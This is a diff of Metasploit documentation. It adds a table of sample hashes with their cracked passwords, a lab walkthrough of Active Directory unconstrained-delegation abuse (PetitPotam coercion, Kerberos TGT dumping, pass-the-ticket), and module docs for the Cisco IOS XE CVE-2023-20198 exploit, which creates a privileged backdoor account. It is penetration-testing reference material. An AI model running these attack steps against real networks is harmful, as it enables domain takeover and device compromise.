`M$test1#64cd29e36a8431a2b111378564a10631` | test1 | mscash | | auxiliary/analyze/crack_windows | +| MSCash2 | mscash2-hashcat | `$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f` | hashcat | mscash2 | | auxiliary/analyze/crack_windows | +| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | +| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | +| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | +| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases | +| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases | +| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | +| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | +| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | +| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | +| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | +| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases | +| Android (Samsung) SHA1 | samsungsha1 | `D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1` | 1234 | android-samsung-sha1 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile | +| Android (non-Samsung) SHA1 | androidsha1 | `9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5` | 1234 | android-sha1 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile | +| Android MD5 | androidmd5 | `1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5` | 1234 | android-md5 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile | +| OSX 10.4-10.6 | xsha_hashcat | `1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683` | hashcat | xsha | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx | +| OSX 10.8+ | pbkdf2_hashcat | `$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f9$` | hashcat | PBKDF2-HMAC-SHA512 | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx | +| OSX 10.7 | xsha512_hashcat | `648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d` | hashcat | xsha512 | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx | +| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | | +| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | | +| MediaWiki | mediawiki_hashcat | `$B$56668501$0ce106caa70af57fd525aeaf80ef2898` | hashcat | mediawiki | | modules/auxiliary/analyze/crack_webapps | +| PHPPass (P type) | phpass_p_hashcat | `$P$984478476IagS59wHZvyQMArzfx58u.` | hashcat | phpass | | modules/auxiliary/analyze/crack_webapps | +| PHPPass (H type) | phpass_h_hashcat | `$H$984478476IagS59wHZvyQMArzfx58u.` | hashcat | phpass | | modules/auxiliary/analyze/crack_webapps | +| Atlassian | atlassian_hashcat | `{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa` | hashcat | PBKDF2-HMAC-SHA1 | | modules/auxiliary/analyze/crack_webapps | # Adding a New Hash diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md b/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md index 46040c02bf..383d4ce8d9 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md +++ b/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md @@ -24,7 +24,7 @@ Metasploit has support for multiple SMB modules, including: There are more modules than listed here, for the full list of modules run the `search` command within msfconsole: ```msf -msf6 > search mysql +msf6 > search smb ``` ### Lab Environment diff --git a/docs/metasploit-framework.wiki/kerberos/service_authentication.md b/docs/metasploit-framework.wiki/kerberos/service_authentication.md index 053e5a23c0..a241fdb0e6 100644 --- a/docs/metasploit-framework.wiki/kerberos/service_authentication.md +++ b/docs/metasploit-framework.wiki/kerberos/service_authentication.md @@ -130,11 +130,13 @@ Required options: * `${Prefix}::Rhostname` -- The hostname of the target system. This value should be either the hostname `WIN-MIJZ318SQH` or the FQDN like `WIN-MIJZ318SQH.msflab.local`. i.e. `Smb::Rhostname=WIN-MIJZ318SQH.msflab.local` * `${Prefix}Domain` -- The domain name of the target system, e.g. `msflab.local`. i.e. `SmbDomain=msflab.local` -* `DomainControllerRhost` -- The IP address of the domain controller to use for kerberos authentication. i.e. `DomainControllerRhost=192.168.123.13` Optional options: +* `DomainControllerRhost` -- The IP address or hostname of the domain controller to use for Kerberos authentication. + i.e. `DomainControllerRhost=192.168.123.13`. If this value is not specified, Metasploit will look it up via the + realm's (the `${Prefix}Domain` option) SRV record in DNS. * `${Prefix}::Krb5Ccname` -- The path to a CCACHE file to use for authentication. This is comparable to setting the - `KRB5CCNAME` environment variable for other tools. If specified, the tickets it contains will be used. i.e. `KRB5CCNAME=/path/to/Administrator.ccache` + `KRB5CCNAME` environment variable for other tools. If specified, the tickets it contains will be used. i.e. `KRB5CCNAME=/path/to/Administrator.ccache`. * `KrbCacheMode` -- The cache storage mode to use, one of the following four options: * `none` -- No cache storage is used, new tickets are requested and no tickets are stored. * `read-only` -- Stored tickets from the cache will be used, but no new tickets are stored. diff --git a/docs/metasploit-framework.wiki/kerberos/unconstrained_delegation.md b/docs/metasploit-framework.wiki/kerberos/unconstrained_delegation.md new file mode 100644 index 0000000000..e91968b5e2 --- /dev/null +++ b/docs/metasploit-framework.wiki/kerberos/unconstrained_delegation.md @@ -0,0 +1,226 @@ +# Unconstrained Delegation Exploitation + +If a computer account is configured for unconstrained delegation, and an attacker has administrative access to it then +the attacker can leverage it to compromise the Active Directory domain. + +## Lab setup + +For this attack to work there must be a computer account (workstation or server) in the active directory domain that has +been configured for unconstrained delegation. + +On the domain controller: + +1. Open "Active Directory Users and Computers" +2. Navigate to the computer account, right click and select "Properties" +3. In the "Delegation" tab, select "Trust this computer for delegation to any service (Kerberos only)" + +On the target computer: + +1. Force an update of group policy by running `gpupdate /force` +2. Reboot the computer + +## Attack Workflow + +This attack assumes that the attacker has: + +1. The IP address of the domain controller. +2. The active directory domain name. +3. A compromised domain account (no special privileges are necessary). +4. The ability to fully compromise a target system through some means. +5. (Optional but recommended) Metasploit running with an attached database so the Kerberos ticket cache can be used. + Verify this using the `db_status` command. + +At a high-level the summary to leverage this attack chain is: + +1. Identify a target computer account configured with unconstrained delegation. +2. Compromise that target computer account to open a Meterpreter session with administrative privileges (SYSTEM works). +3. Coerce authentication to the compromised target from a domain controller. +4. Dump the Kerberos tickets from the compromised targets to obtain a TGT from the domain controller's computer account. +5. Use the TGT to authenticate to the domain controller as itself (the computer account). + +### Target Identification +The unconstrained delegation setting is stored as a bit flag in the `userAccountControl` LDAP attribute. A domain +account can be used with the `auxiliary/gather/ldap_query` module to identify computer accounts configured for +unconstrained delegation. Note that by default domain controllers themselves are configured for unconstrained delegation +and should be ignored as targets. + +Use the `ENUM_UNCONSTRAINED_DELEGATION` action to enumerate targets: +``` +msf6 > use auxiliary/gather/ldap_query +msf6 auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10 +RHOSTS => 192.168.159.10 +msf6 auxiliary(gather/ldap_query) > set DOMAIN msflab.local +DOMAIN => msflab.local +msf6 auxiliary(gather/ldap_query) > set USERNAME aliddle +USERNAME => aliddle +msf6 auxiliary(gather/ldap_query) > set PASSWORD Password1! +PASSWORD => Password1! +msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION +ACTION => ENUM_UNCONSTRAINED_DELEGATION +msf6 auxiliary(gather/ldap_query) > run +[*] Running module against 192.168.159.10 + +[*] Discovering base DN automatically +[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local +[+] 192.168.159.10:389 Discovered schema DN: DC=msflab,DC=local +CN=WS01 CN=Computers DC=msflab DC=local +======================================= + + Name Attributes + ---- ---------- + cn WS01 + objectcategory CN=Computer,CN=Schema,CN=Configuration,DC=msflab,DC=local + samaccountname WS01$ + +CN=DC OU=Domain Controllers DC=msflab DC=local +============================================== + + Name Attributes + ---- ---------- + cn DC + memberof CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=msflab,DC=local || CN=Cert Publishers,CN=Users,DC=msflab,DC=local + objectcategory CN=Computer,CN=Schema,CN=Configuration,DC=msflab,DC=local + samaccountname DC$ + +[*] Auxiliary module execution completed +msf6 auxiliary(gather/ldap_query) > +``` + +This results in two potential targets, WS01 and DC. Next, use the `ENUM_DOMAIN_CONTROLLERS` action to identify the +domain controllers to remove from the list of potential targets. + +``` +msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS +ACTION => ENUM_DOMAIN_CONTROLLERS +msf6 auxiliary(gather/ldap_query) > run +[*] Running module against 192.168.159.10 + +[*] Discovering base DN automatically +[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local +[+] 192.168.159.10:389 Discovered schema DN: DC=msflab,DC=local +CN=DC OU=Domain Controllers DC=msflab DC=local +============================================== + + Name Attributes + ---- ---------- + distinguishedname CN=DC,OU=Domain Controllers,DC=msflab,DC=local + dnshostname DC.msflab.local + name DC + operatingsystem Windows Server 2019 Standard + operatingsystemversion 10.0 (17763) + +[*] Auxiliary module execution completed +msf6 auxiliary(gather/ldap_query) > +``` + +This shows that DC is a domain controller and should be removed from the list, leaving WS01 as the only viable target. + +### Exploitation +Now the WS01 system needs to be compromised through some means to obtain a Meterpreter session. Once a Meterpreter +session has been obtained, the Domain Controller needs to be coerced into authenticating to the target. The +`auxiliary/scanner/dcerpc/petitpotam` module can be used for this purpose. Use the module, and take care to set the +`LISTENER` option to **the hostname of the compromised host**. The hostname must be used and not an IP address. Set the +remaining options including `RHOSTS` to the domain controller, and `SMBUser` / `SMBPass` to the credentials of the +compromised domain account. + +``` +msf6 > use auxiliary/scanner/dcerpc/petitpotam +msf6 auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local +LISTENER => ws01.msflab.local +msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle +SMBUser => aliddle +msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1! +SMBPass => Password1! +msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10 +RHOSTS => 192.168.159.10 +msf6 auxiliary(scanner/dcerpc/petitpotam) > run + +[+] 192.168.159.10:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful +[*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/dcerpc/petitpotam) > +``` + +If the module does not indicate that the attack was successful, another tool like +[`Coercer`](https://github.com/p0dalirius/Coercer) can be used to try additional methods. + +Now that the domain controller has authenticated to the target it's necessary to dump the kerberos tickets from the +compromised target. Use the `post/windows/manage/kerberos_tickets` module and the `DUMP_TICKETS` action to dump the TGTs +from the compromised host. If the attack was successful there should be at least one TGT from the domain controller's +computer account. + +``` +msf6 > use post/windows/manage/kerberos_tickets +msf6 post(windows/manage/kerberos_tickets) > set SESSION -1 +SESSION => -1 +msf6 post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/* +SERVICE => krbtgt/* +msf6 post(windows/manage/kerberos_tickets) > run + +[*] LSA Handle: 0x000001efe1c415a0 +[*] LogonSession LUID: 0x00004bc1d +[*] User: MSFLAB\DC$ +[*] Session: 0 +[*] AuthenticationPackage: Kerberos +[*] LogonType: Network (3) +[*] LogonTime: 2023-08-23 08:33:17 -0400 +[*] Ticket[0] +[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823151727_default_192.168.159.10_mit.kerberos.cca_488233.bin + Primary Principal: DC$@MSFLAB.LOCAL + Ccache version: 4 + + Creds: 1 + Credential[0]: + Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL + Client: DC$@MSFLAB.LOCAL + Ticket etype: 18 (AES256) + Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0 + Subkey: false + Ticket Length: 1006 + Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE) + Addresses: 0 + Authdatas: 0 + Times: + Auth time: 1969-12-31 19:00:00 -0500 + Start time: 2023-08-23 08:33:17 -0400 + End time: 2023-08-23 18:33:17 -0400 + Renew Till: 2023-08-30 08:33:17 -0400 + Ticket: + Ticket Version Number: 5 + Realm: MSFLAB.LOCAL + Server Name: krbtgt/MSFLAB.LOCAL + Encrypted Ticket Part: + Ticket etype: 18 (AES256) + Key Version Number: 2 + Cipher: + L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw== +[*] LogonSession LUID: 0x00001052b +[*] User: Window Manager\DWM-1 +[*] Session: 1 +[*] AuthenticationPackage: Negotiate +[*] LogonType: Interactive (2) +[*] LogonTime: 2023-08-23 08:32:38 -0400 + +... omitted for brevity ... +``` + +In this case, a TGT for the `MSFLAB\DC$` account was obtained through the logon session with LUID `0x00004bc1d`. The +ticket was stored to disk in a ccache file. The ticket can also be seen in the output of `klist`. + +``` +msf6 post(windows/manage/kerberos_tickets) > klist +Kerberos Cache +============== +id host principal sname issued status path +-- ---- --------- ----- ------ ------ ---- +411 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823151744_default_192.168.159.10_mit.kerberos.cca_307418.bin +407 192.168.159.10 WS01$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 15:14:46 -0400 active /home/smcintyre/.msf4/loot/20230823151735_default_192.168.159.10_mit.kerberos.cca_760842.bin + +msf6 post(windows/manage/kerberos_tickets) > +``` + +### Using The Ticket +Now that at TGT for the domain controller has been obtained, it can be used in a Pass-The-Ticket style attack whereby +the attacker uses it to authenticate to the target. The `auxiliary/gather/windows_secrets_dump` module is a good one to +use for this purpose as it will yield additional accounts while avoiding running any kind of payload on the domain +controller. diff --git a/docs/navigation.rb b/docs/navigation.rb index 00b5eb1d5f..99ff61e26c 100644 --- a/docs/navigation.rb +++ b/docs/navigation.rb @@ -186,7 +186,11 @@ NAVIGATION_CONFIG = [ }, { path: '../../documentation/modules/auxiliary/admin/ldap/rbcd.md', - title: 'RBCD - Resource-based constrained delegation' + title: 'Resource-based constrained delegation (RBCD)' + }, + { + path: 'kerberos/unconstrained_delegation.md', + title: 'Unconstrained delegation' } ] }, diff --git a/documentation/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.md b/documentation/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.md new file mode 100644 index 0000000000..3383e97214 --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.md @@ -0,0 +1,172 @@ +## Vulnerable Application +This module leverages CVE-2023-20198 against vulnerable instances of Cisco IOS XE devices which have the +Web UI exposed. An attacker can execute arbitrary CLI commands with privilege level 15. + +You must specify the IOS command mode to execute a CLI command in. Valid modes are `user`, `privileged`, and +`global`. To run a command in "Privileged" mode, set the `CMD` option to the command you want to run, +e.g. `show version` and set the `MODE` to `privileged`. To run a command in "Global Configuration" mode, set +the `CMD` option to the command you want to run, e.g. `username hax0r privilege 15 password hax0r` and set +the `MODE` to `global`. + +The vulnerable IOS XE versions are: + +16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4, +16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2, +16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4, +16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9, +16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b, +16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b, +16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a, +16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1, +16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g, +16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s, +16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s, +16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5, +16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10, +17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v, +17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z, +17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7, +17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b, +17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a, +17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a, +17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3, +17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a, +17.11.99SW + +## Testing +This module was tested against IOS XE version 16.12.3. To test this module you will need to either: + +* Acquire a hardware device running one of the vulnerable firmware versions listed above. + +Or + +* Setup a virtualized environment. + * A [CSR1000V](https://www.cisco.com/c/en/us/products/routers/cloud-services-router-1000v-series/index.html) device + can be virtualized using [GNS3](https://www.gns3.com/) and VMWare Workstation/Player. Follow the + [Windows setup guide](https://docs.gns3.com/docs/getting-started/installation/windows) to install GNS3 and the + [topology guide](https://docs.gns3.com/docs/getting-started/your-first-gns3-topology) to learn how GNS3 can be used. + * A suitable firmware image for testing would be `csr1000v-universalk9.16.12.03-serial.qcow2`. + * When setting up GNS3, run the `GNS3 2.2.43` Virtual Machine for deploying QEMU based devices. + * Create a new CSR1000v instance as a QEMU device. + * The CSR1000v device's first ethernet adapter `Gi1` should be connected to a Cloud device, whose adapter was bridged + to the physical adapter on the host machine, allowing an IP address to be assigned via DHCP, and allowing the Web UI to + be accessible to a remote attacker. + * When the virtual router has booted up, you must enable the vulnerable WebUI component. From a serial console on + the device: + ``` + Router>enable + Router#config + Router(config)#ip http server + router(config)#ip http secure-server + router(config)#ip http authentication local + router(config)#username admin privilege 15 secret qwerty + router(config)#exit + Router#copy running-config startup-config + ``` + * You should now be able to access the WebUI via https://TARGET_IP_ADDRESS/webui and login with admin:qwerty + +## Verification Steps +1. Start msfconsole +2. `use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198` +3. `set RHOST ` +4. `set CMD "username hax0r privilege 15 secret hax0r"` +5. `set MODE global` +6. `run` +7. Visit `https:///webui/` in a browser and log in with username `hax0r` and password `hax0r`. + +## Options + +### CMD + +The Cisco CLI command to execute. + +### MODE +Cisco IOS commands cna be executed in one of several modes, specifically "User EXEC" mode, "Privileged EXEC" mode, and +"Global Configuration" mode. The `MODE` options lets you explicitly set what mode you want the `CMD` to execute in. Valid +modes are `user`, `privileged`, and `global`. + +## Scenarios + +``` +msf6 > use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 +msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set RHOST 192.168.86.57 +RHOST => 192.168.86.57 +msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set CMD "show version" +CMD => show version +msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set MODE privileged +MODE => privileged +msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options + +Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CMD show version yes The CLI command to execute. + MODE privileged yes The mode to execute the CLI command in, valid values are 'user', 'privileged', or 'global'. + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.57 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +View the full module info with the info, or info -d command. + +msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run +[*] Running module against 192.168.86.57 + + +Cisco IOS XE Software, Version 16.12.03 +Cisco IOS Software [Gibraltar], Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 16.12.3, RELEASE SOFTWARE (fc5) +Technical Support: http://www.cisco.com/techsupport +Copyright (c) 1986-2020 by Cisco Systems, Inc. +Compiled Mon 09-Mar-20 21:50 by mcpre +Cisco IOS-XE software, Copyright (c) 2005-2020 by cisco Systems, Inc. +All rights reserved. Certain components of Cisco IOS-XE software are +licensed under the GNU General Public License ("GPL") Version 2.0. The +software code licensed under GPL Version 2.0 is free software that comes +with ABSOLUTELY NO WARRANTY. You can redistribute and/or modify such +GPL code under the terms of GPL Version 2.0. For more details, see the +documentation or "License Notice" file accompanying the IOS-XE software, +or the applicable URL provided on the flyer accompanying the IOS-XE +software. +ROM: IOS-XE ROMMON +router uptime is 3 hours, 59 minutes +Uptime for this control processor is 4 hours, 2 minutes +System returned to ROM by reload +System image file is "bootflash:packages.conf" +Last reload reason: reload +This product contains cryptographic features and is subject to United +States and local country laws governing import, export, transfer and +use. Delivery of Cisco cryptographic products does not imply +third-party authority to import, export, distribute or use encryption. +Importers, exporters, distributors and users are responsible for +compliance with U.S. and local country laws. By using this product you +agree to comply with applicable laws and regulations. If you are unable +to comply with U.S. and local laws, return this product immediately. +A summary of U.S. laws governing Cisco cryptographic products may be found at: +http://www.cisco.com/wwl/export/crypto/tool/stqrg.html +If you require further assistance please contact us by sending email to +export@cisco.com. +License Level: ax +License Type: N/A(Smart License Enabled) +Next reload license Level: ax +Smart Licensing Status: UNREGISTERED/No Licenses in Use +cisco CSR1000V (VXE) processor (revision VXE) with 1113574K/3075K bytes of memory. +Processor board ID 9OVFUOGPESO +4 Gigabit Ethernet interfaces +32768K bytes of non-volatile configuration memory. +3012164K bytes of physical memory. +6188032K bytes of virtual hard disk at bootflash:. +0K bytes of WebUI ODM Files at webui:. +Configuration register is 0x2102 + +[*] Auxiliary module execution completed +msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock" +[*] Running module against 192.168.86.57 + + +*15:24:05.110 UTC Fri Nov 3 2023 +[*] Auxiliary module execution completed +msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > +``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.md b/documentation/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.md new file mode 100644 index 0000000000..5a496bcb12 --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.md @@ -0,0 +1,130 @@ +## Vulnerable Application +This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE +devices which have the Web UI exposed. An attacker can execute arbitrary OS commands with root 